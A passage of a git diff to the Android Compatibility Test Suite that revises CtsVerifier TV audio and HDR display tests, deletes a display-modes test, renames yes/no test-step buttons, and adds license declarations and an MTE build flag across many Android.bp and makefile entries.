-            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
+                            + " for PCM16 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+                    .isTrue();
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
+                            + "for EAC3 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .isTrue();
+
+            ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : ATMOS_FORMATS) {
                 if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
-                    actualAudioFormatStrings.add(toStr(audioFormat));
-                    break;
+                    actualAtmosFormatStrings.add(toStr(audioFormat));
                 }
             }
 
+            // check that Atmos should be supported
             getAsserter()
-                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
-                    .that(actualAudioFormatStrings.build())
-                    .containsExactlyElementsIn(
-                            ImmutableList.of(
-                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 41000, 8)),
-                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 8)),
-                                    toStr(makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8)),
-                                    toStr(makeAudioFormat(ENCODING_E_AC3, 44100, 8))));
+                    .withMessage(
+                            "AudioTrack.isDirectPlaybackSupported is expected to return true for"
+                                + " EAC3_JOC")
+                    .that(actualAtmosFormatStrings.build())
+                    .isNotEmpty();
         }
     }
 
     /** Returns channel mask for {@code channelCount}. */
     private static int channelCountToMask(int channelCount) {
         switch (channelCount) {
+            case 1:
+                return CHANNEL_OUT_MONO;
             case 2:
                 return CHANNEL_OUT_STEREO;
+            case 3:
+                return CHANNEL_OUT_STEREO | CHANNEL_OUT_FRONT_CENTER;
+            case 4:
+                return CHANNEL_OUT_QUAD;
+            case 5:
+                return CHANNEL_OUT_QUAD | CHANNEL_OUT_FRONT_CENTER;
             case 6:
                 return CHANNEL_OUT_5POINT1;
+            case 7:
+                return CHANNEL_OUT_5POINT1 | CHANNEL_OUT_BACK_CENTER;
             case 8:
                 return CHANNEL_OUT_7POINT1_SURROUND;
             default:
@@ -166,8 +225,6 @@
     /** Returns a displayable String message for {@code encodingCode}. */
     private static String encodingToString(int encodingCode) {
         switch (encodingCode) {
-            case ENCODING_AC3:
-                return "AC3";
             case ENCODING_E_AC3:
                 return "E_AC3";
             case ENCODING_E_AC3_JOC:
@@ -193,4 +250,8 @@
                 .setChannelMask(channelCountToMask(channelCount))
                 .build();
     }
+
+    private static boolean containsButton(View item, View button) {
+        return item == null ? false : item.findViewById(R.id.user_action_button) == button;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index e0c02d8..72a34ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,157 +69,15 @@
     @Override
     protected void createTestItems() {
         List<TestStepBase> testSteps = new ArrayList<>();
-        if (TvUtil.isHdmiSourceDevice()) {
-            // The device is a set-top box or a TV dongle
-            testSteps.add(new NonHdrDisplayTestStep(this));
-            testSteps.add(new HdrDisplayTestStep(this));
-            testSteps.add(new NoDisplayTestStep(this));
-        } else {
-            // The device is a TV Panel
-            testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
-            testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
-        }
+        testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+        testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
         mTestSequence = new TestSequence(this, testSteps);
         mTestSequence.init();
     }
 
-    private static class NonHdrDisplayTestStep extends SyncTestStep {
-
-        public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_non_hdr_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities()")
-                    .that(display.getHdrCapabilities().getSupportedHdrTypes())
-                    .isEmpty();
-        }
-    }
-
-    private static class HdrDisplayTestStep extends SyncTestStep {
-
-        public HdrDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_hdr_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
-            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
-
-            Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
-
-            int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
-            Arrays.sort(supportedHdrTypes);
-
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
-                    .that(supportedHdrTypes)
-                    .isEqualTo(
-                            new int[] {
-                                Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
-                                Display.HdrCapabilities.HDR_TYPE_HDR10,
-                                Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
-                                Display.HdrCapabilities.HDR_TYPE_HLG
-                            });
-
-            float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
-                    .that(maxLuminance)
-                    .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
-
-            float minLuminance = hdrCapabilities.getDesiredMinLuminance();
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
-                    .that(minLuminance)
-                    .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
-
-            getAsserter()
-                    .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
-                    .that(hdrCapabilities.getDesiredMaxAverageLuminance())
-                    .isIn(Range.openClosed(minLuminance, maxLuminance));
-        }
-    }
-
-    private static class NoDisplayTestStep extends AsyncTestStep {
-        public NoDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_hdr_capabilities_test_step_no_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_hdr_disconnect_display,
-                    context.getString(getButtonStringId()),
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTestAsync() {
-            // Wait for the user to disconnect the display.
-            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
-            mContext.getPostTarget().postDelayed(this::runTest, delay);
-        }
-
-        private void runTest() {
-            try {
-                // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-                display.isHdr();
-                display.getHdrCapabilities();
-            } catch (Exception e) {
-                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
-            }
-            done();
-        }
-    }
-
     private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
         public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
+            super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
         }
 
         private static String getInstructionText(Context context) {
@@ -244,7 +102,7 @@
 
     private static class TvPanelSupportedTypesAreReportedTestStep extends YesNoTestStep {
         public TvPanelSupportedTypesAreReportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
+            super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
         }
 
         private static String getInstructionText(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
deleted file mode 100644
index 7c8a208..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ /dev/null
@@ -1,331 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.tv.display;
-
-import android.content.Context;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.view.Display;
-
-import androidx.annotation.StringRes;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TestSequence;
-import com.android.cts.verifier.tv.TestStepBase;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-import com.android.cts.verifier.tv.TvUtil;
-
-import com.google.common.base.Throwables;
-import com.google.common.truth.Correspondence;
-import com.google.common.truth.FailureMetadata;
-import com.google.common.truth.Subject;
-
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-
-import javax.annotation.Nullable;
-
-/**
- * Test for verifying that the platform correctly reports display resolution and refresh rate. More
- * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
- * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
- * tested against the hardware capabilities of the device.
- */
-public class DisplayModesTestActivity extends TvAppVerifierActivity {
-    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
-    private static final float REFRESH_RATE_PRECISION = 0.01f;
-
-    private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
-            (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
-
-    private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
-            Correspondence.from((Display.Mode displayMode, Mode mode) -> {
-                return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
-            }, "is equivalent to");
-
-    private TestSequence mTestSequence;
-
-    @Override
-    protected void setInfoResources() {
-        setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-
-    @Override
-    protected void createTestItems() {
-        List<TestStepBase> testSteps = new ArrayList<>();
-        if (TvUtil.isHdmiSourceDevice()) {
-            // The device is a set-top box or a TV dongle
-            testSteps.add(new NoDisplayTestStep(this));
-            testSteps.add(new Display2160pTestStep(this));
-            testSteps.add(new Display1080pTestStep(this));
-        } else {
-            // The device is a TV Panel
-            testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
-            testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
-        }
-        mTestSequence = new TestSequence(this, testSteps);
-        mTestSequence.init();
-    }
-
-    @Override
-    public String getTestDetails() {
-        return mTestSequence.getFailureDetails();
-    }
-
-    private static class NoDisplayTestStep extends AsyncTestStep {
-        public NoDisplayTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_no_display,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_disconnect_display,
-                    context.getString(getButtonStringId()),
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
-                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTestAsync() {
-            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
-            mContext.getPostTarget().postDelayed(this::runTest, delay);
-        }
-
-        private void runTest() {
-            try {
-                // Verify the display APIs do not crash when the display is disconnected
-                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-                display.getMode();
-                display.getSupportedModes();
-            } catch (Exception e) {
-                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
-            }
-            done();
-        }
-    }
-
-    private static class Display2160pTestStep extends SyncTestStep {
-        public Display2160pTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_2160p,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_connect_2160p_display,
-                    context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            getAsserter()
-                    .withMessage("Display.getMode()")
-                    .about(MODE_SUBJECT_FACTORY)
-                    .that(display.getMode())
-                    .isEquivalentToAnyOf(
-                            REFRESH_RATE_PRECISION,
-                            new Mode(3840, 2160, 60f),
-                            new Mode(3840, 2160, 50f));
-
-            Mode[] expected2160pSupportedModes =
-                    new Mode[] {
-                        new Mode(720, 480, 60f),
-                        new Mode(720, 576, 50f),
-                        // 720p modes
-                        new Mode(1280, 720, 50f),
-                        new Mode(1280, 720, 60f),
-                        // 1080p modes
-                        new Mode(1920, 1080, 24f),
-                        new Mode(1920, 1080, 25f),
-                        new Mode(1920, 1080, 30f),
-                        new Mode(1920, 1080, 50f),
-                        new Mode(1920, 1080, 60f),
-                        // 2160p modes
-                        new Mode(3840, 2160, 24f),
-                        new Mode(3840, 2160, 25f),
-                        new Mode(3840, 2160, 30f),
-                        new Mode(3840, 2160, 50f),
-                        new Mode(3840, 2160, 60f)
-                    };
-            getAsserter()
-                    .withMessage("Display.getSupportedModes()")
-                    .that(Arrays.asList(display.getSupportedModes()))
-                    .comparingElementsUsing(MODE_CORRESPONDENCE)
-                    .containsAtLeastElementsIn(expected2160pSupportedModes);
-        }
-    }
-
-    private static class Display1080pTestStep extends SyncTestStep {
-        public Display1080pTestStep(TvAppVerifierActivity context) {
-            super(
-                    context,
-                    R.string.tv_display_modes_test_step_1080p,
-                    getInstructionText(context),
-                    getButtonStringId());
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(
-                    R.string.tv_display_modes_connect_1080p_display,
-                    context.getString(getButtonStringId()));
-        }
-
-        private static @StringRes int getButtonStringId() {
-            return R.string.tv_start_test;
-        }
-
-        @Override
-        public void runTest() {
-            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
-            getAsserter()
-                    .withMessage("Display.getMode()")
-                    .about(MODE_SUBJECT_FACTORY)
-                    .that(display.getMode())
-                    .isEquivalentToAnyOf(
-                            REFRESH_RATE_PRECISION,
-                            new Mode(1920, 1080, 60f),
-                            new Mode(1920, 1080, 50f));
-
-            final Mode[] expected1080pSupportedModes =
-                    new Mode[] {
-                        new Mode(720, 480, 60f),
-                        new Mode(720, 576, 50f),
-                        // 720p modes
-                        new Mode(1280, 720, 50f),
-                        new Mode(1280, 720, 60f),
-                        // 1080p modes
-                        new Mode(1920, 1080, 24f),
-                        new Mode(1920, 1080, 25f),
-                        new Mode(1920, 1080, 30f),
-                        new Mode(1920, 1080, 50f),
-                        new Mode(1920, 1080, 60f),
-                    };
-            getAsserter()
-                    .withMessage("Display.getSupportedModes()")
-                    .that(Arrays.asList(display.getSupportedModes()))
-                    .comparingElementsUsing(MODE_CORRESPONDENCE)
-                    .containsAtLeastElementsIn(expected1080pSupportedModes);
-        }
-    }
-
-    private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
-        public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
-        }
-
-        private static String getInstructionText(Context context) {
-            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
-            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-            String supportedModes =
-                    Arrays.stream(display.getSupportedModes())
-                            .map(DisplayModesTestActivity::formatDisplayMode)
-                            .collect(Collectors.joining("\n"));
-
-            return context.getString(
-                    R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
-        }
-    }
-
-    private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
-        public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
-            super(context, getInstructionText(context));
-        }
-
-        private static String getInstructionText(Context context) {
-            return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
-        }
-    }
-
-    // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
-    // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
-    private static class Mode {
-        public int mWidth;
-        public int mHeight;
-        public float mRefreshRate;
-
-        public Mode(int width, int height, float refreshRate) {
-            this.mWidth = width;
-            this.mHeight = height;
-            this.mRefreshRate = refreshRate;
-        }
-
-        public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
-            return mHeight == displayMode.getPhysicalHeight()
-                    && mWidth == displayMode.getPhysicalWidth()
-                    && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
-        }
-
-        @Override
-        public String toString() {
-            return formatDisplayMode(mWidth, mHeight, mRefreshRate);
-        }
-    }
-
-    private static class ModeSubject extends Subject<ModeSubject, Display.Mode> {
-        private final Display.Mode mActual;
-
-        public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
-            super(failureMetadata, subject);
-            mActual = subject;
-        }
-
-        public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
-            boolean found = Arrays.stream(modes)
-                    .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
-            if (!found) {
-                failWithActual("expected any of", Arrays.toString(modes));
-            }
-        }
-    }
-
-    private static String formatDisplayMode(Display.Mode mode) {
-        return formatDisplayMode(
-                mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
-    }
-
-    private static String formatDisplayMode(int width, int height, float refreshRate) {
-        return String.format("%dx%d %.2f Hz", width, height, refreshRate);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 4da4d18..4f300d4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -27,9 +27,10 @@
  * two buttons - Yes and No, which respectively set the test in passing and failing state.
  */
 public abstract class YesNoTestStep extends TestStepBase {
-    private View yesButton;
-    private View noButton;
-
+    private View positiveButton;
+    private View negativeButton;
+    private final int positiveButtonText;
+    private final int negativeButtonText;
     /**
      * Constructs a test step containing human instructions for a manual test and two buttons - Yes
      * and No.
@@ -37,24 +38,27 @@
      * @param context The test activity which this test step is part of.
      * @param instructionText The text of the test instruction visible to the user.
      */
-    public YesNoTestStep(TvAppVerifierActivity context, String instructionText) {
+    public YesNoTestStep(TvAppVerifierActivity context, String instructionText, 
+            int positiveButtonText, int negativeButtonText) {
         super(context, instructionText);
+        this.positiveButtonText = positiveButtonText;
+        this.negativeButtonText = negativeButtonText;
     }
 
     @Override
     public void createUiElements() {
         super.createUiElements();
-        yesButton =
+        positiveButton =
                 mContext.createButtonItem(
-                        R.string.tv_yes,
+                        positiveButtonText,
                         (View view) -> {
                             disableInteractivity();
                             // do nothing so the test will pass
                             done();
                         });
-        noButton =
+        negativeButton =
                 mContext.createButtonItem(
-                        R.string.tv_no,
+                        negativeButtonText,
                         (View view) -> {
                             disableInteractivity();
                             getAsserter().fail();
@@ -64,13 +68,13 @@
 
     @Override
     public void enableInteractivity() {
-        TvAppVerifierActivity.setButtonEnabled(yesButton, true);
-        TvAppVerifierActivity.setButtonEnabled(noButton, true);
+        TvAppVerifierActivity.setButtonEnabled(positiveButton, true);
+        TvAppVerifierActivity.setButtonEnabled(negativeButton, true);
     }
 
     @Override
     public void disableInteractivity() {
-        TvAppVerifierActivity.setButtonEnabled(yesButton, false);
-        TvAppVerifierActivity.setButtonEnabled(noButton, false);
+        TvAppVerifierActivity.setButtonEnabled(positiveButton, false);
+        TvAppVerifierActivity.setButtonEnabled(negativeButton, false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/usb/OWNERS
index e176df9..568938c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/OWNERS
@@ -1,2 +1 @@
 # Bug component: 175220
-moltmann@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index c150132..9220001 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -71,6 +71,7 @@
         setInfoResources(
                 R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
 
+        setPassFailButtonClickListeners();
         mStatus = (TextView) findViewById(R.id.status);
         mProgress = (ProgressBar) findViewById(R.id.progress_bar);
         mStatus.setText(R.string.usb_accessory_test_step1);
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
index 045581d..0b26c66 100644
--- a/apps/CtsVerifierInstantApp/Android.bp
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVerifierInstantApp",
     defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifierUSBCompanion/Android.bp b/apps/CtsVerifierUSBCompanion/Android.bp
index bf7d804..bdae8ce 100644
--- a/apps/CtsVerifierUSBCompanion/Android.bp
+++ b/apps/CtsVerifierUSBCompanion/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVerifierUSBCompanion",
     static_libs: [
diff --git a/apps/EmptyDeviceAdmin/Android.bp b/apps/EmptyDeviceAdmin/Android.bp
index 35d2343..ed81a61 100644
--- a/apps/EmptyDeviceAdmin/Android.bp
+++ b/apps/EmptyDeviceAdmin/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEmptyDeviceAdmin",
     defaults: ["cts_defaults"],
diff --git a/apps/EmptyDeviceOwner/Android.bp b/apps/EmptyDeviceOwner/Android.bp
index 44ea769..e811db0 100644
--- a/apps/EmptyDeviceOwner/Android.bp
+++ b/apps/EmptyDeviceOwner/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEmptyDeviceOwner",
     defaults: ["cts_defaults"],
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
index f438b87..0f67ddb 100644
--- a/apps/ForceStopHelperApp/Android.bp
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsForceStopHelper",
     defaults: ["cts_defaults"],
@@ -25,3 +29,8 @@
         "general-tests",
     ],
 }
+
+java_library {
+    name: "CtsForceStopHelper-constants",
+    srcs: ["src/com/android/cts/forcestophelper/Constants.java"],
+}
diff --git a/apps/NotificationBot/Android.bp b/apps/NotificationBot/Android.bp
index 8bf28ef..13cc839 100644
--- a/apps/NotificationBot/Android.bp
+++ b/apps/NotificationBot/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "NotificationBot",
     srcs: [
diff --git a/apps/OomCatcher/Android.bp b/apps/OomCatcher/Android.bp
index 477d8f3..5328900 100644
--- a/apps/OomCatcher/Android.bp
+++ b/apps/OomCatcher/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "OomCatcher",
     defaults: ["cts_defaults"],
diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp
index 53381d7..5481315 100644
--- a/apps/PermissionApp/Android.bp
+++ b/apps/PermissionApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPermissionApp",
     defaults: ["cts_defaults"],
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 64e94fc..898f4bd 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "CtsVpnAppDefaults",
     defaults: ["cts_defaults"],
diff --git a/build/test_executable.mk b/build/test_executable.mk
index 1ff9a51..8dca32c 100644
--- a/build/test_executable.mk
+++ b/build/test_executable.mk
@@ -18,4 +18,11 @@
 # Replace "include $(BUILD_EXECUTABLE)" with "include $(BUILD_CTS_EXECUTABLE)"
 #
 
+# Implicitly run this test under MTE SYNC for aarch64 binaries. This is a no-op
+# on non-MTE hardware.
+my_arch := $(TARGET_$(LOCAL_2ND_ARCH_VAR_PREFIX)ARCH)
+ifneq (,$(filter arm64,$(my_arch)))
+	LOCAL_WHOLE_STATIC_LIBRARIES += note_memtag_heap_sync
+endif
+
 include $(BUILD_EXECUTABLE)
diff --git a/common/device-side/device-info/Android.bp b/common/device-side/device-info/Android.bp
index ad648c1..881a95a 100644
--- a/common/device-side/device-info/Android.bp
+++ b/common/device-side/device-info/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "compatibility-device-info",
 
diff --git a/common/device-side/device-info/tests/Android.bp b/common/device-side/device-info/tests/Android.bp
index abd0bb0..9dd2ae9 100644
--- a/common/device-side/device-info/tests/Android.bp
+++ b/common/device-side/device-info/tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
     name: "compatibility-device-info-tests",
 
diff --git a/common/device-side/nativetesthelper/Android.bp b/common/device-side/nativetesthelper/Android.bp
index 216fb33..3e77d81 100644
--- a/common/device-side/nativetesthelper/Android.bp
+++ b/common/device-side/nativetesthelper/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "nativetesthelper",
 
diff --git a/common/device-side/nativetesthelper/jni/Android.bp b/common/device-side/nativetesthelper/jni/Android.bp
index 871207e..6507474 100644
--- a/common/device-side/nativetesthelper/jni/Android.bp
+++ b/common/device-side/nativetesthelper/jni/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_static {
     name: "libnativetesthelper_jni",
 
diff --git a/common/device-side/preconditions/Android.bp b/common/device-side/preconditions/Android.bp
index 64f0ab0..cf41834 100644
--- a/common/device-side/preconditions/Android.bp
+++ b/common/device-side/preconditions/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
